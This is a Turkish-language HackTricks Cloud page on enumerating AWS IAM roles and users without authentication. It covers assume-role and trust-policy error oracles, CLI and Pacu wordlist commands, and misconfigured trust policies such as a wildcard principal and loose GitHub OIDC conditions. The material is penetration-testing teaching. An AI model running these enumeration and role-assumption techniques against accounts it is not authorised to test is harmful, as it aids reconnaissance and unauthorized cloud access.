AWS - IAM & STS Kimlik Doğrulaması Olmayan Enum
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Bir hesapta Rolleri & Kullanıcı Adlarını Sıralama
Assume Role Brute-Force
Caution
Bu teknik artık çalışmıyor; rol var mı yok mu fark etmeksizin her zaman şu hatayı alırsınız:
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdasBunu çalıştırarak test edebilirsiniz:
aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example
Gerekli izinler olmadan bir role AssumeRole ile erişmeye çalışmak AWS tarafından bir hata mesajı tetikler. Örneğin, yetkisiz ise AWS şu hatayı döndürebilir:
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
Bu mesaj rolün varlığını doğrular ancak rolün üstlenme politikası sizin bu rolü üstlenmenize izin vermediğini gösterir. Buna karşılık, var olmayan bir rolü üstlenmeye çalışmak farklı bir hataya yol açar:
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
İlginç bir şekilde, bu yöntem mevcut ve mevcut olmayan rolleri ayırt etme işlemi farklı AWS hesapları arasında bile uygulanabilir. Geçerli bir AWS account ID’si ve hedeflenmiş bir wordlist ile, hesaptaki rolleri herhangi bir yerleşik sınırlama olmadan listeleyebilirsiniz.
You can use this script to enumerate potential principals abusing this issue.
Trust Policies: Brute-Force Cross Account roller ve kullanıcılar
Bir IAM role’un trust policy’sini yapılandırmak veya güncellemek, hangi AWS kaynaklarının veya servislerinin bu rolü üstlenip geçici kimlik bilgileri elde edebileceğini tanımlamayı içerir. Eğer politika içindeki belirtilen kaynak mevcutsa, trust policy başarıyla kaydedilir. Ancak kaynak mevcut değilse, bir hata üretilir, bu da geçersiz bir principal sağlandığını gösterir.
Warning
O kaynaktaki değere cross account bir rol veya kullanıcı belirtebileceğinizi unutmayın:
arn:aws:iam::acc_id:role/role_namearn:aws:iam::acc_id:user/user_name
This is a policy example:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
GUI
Bu, var olmayan bir rol kullandığınızda karşılaşacağınız hatadır. Eğer rol mevcutsa, politika herhangi bir hata olmadan kaydedilecektir. (Hata güncelleme içindir, fakat oluştururken de geçerlidir.)
.png)
CLI
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}
# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
Bu işlemi şu araçla otomatikleştirebilirsiniz: https://github.com/carlospolop/aws_tools
bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt
Veya Pacu kullanarak:
run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txtrun iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt- The
adminrole used in the example is a role in your account to by impersonated by pacu to create the policies it needs to create for the enumeration
Privesc
Eğer role kötü yapılandırılmışsa ve herkesin assume etmesine izin veriyorsa:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
Saldırgan bunu doğrudan üstlenebilir.
Üçüncü Taraf OIDC Federasyonu
Bir Github Actions workflow’unu okuyabildiğinizi ve bunun AWS içindeki bir role’a eriştiğini hayal edin.
Bu trust, aşağıdaki trust policy ile bir role’a erişim verebilir:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
Bu trust policy doğru olabilir, ancak daha fazla koşulun eksikliği ona güvenmemeniz gerektiğini göstermeli.
Çünkü önceki rol Github Actions’taki HERKES tarafından üstlenilebilir! Koşullarda ayrıca org adı, repo adı, env, brach… gibi diğer şeyleri de belirtmelisiniz.
Başka bir olası yanlış yapılandırma, aşağıdaki gibi bir koşul eklemektir:
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
Dikkat: wildcard (*) colon (:)’dan önce olmalıdır. Örneğin org_name1 gibi bir org oluşturabilir ve bir Github Action üzerinden assume the role yapabilirsiniz.
Referanslar
- https://www.youtube.com/watch?v=8ZXRw4Ry3mQ
- https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

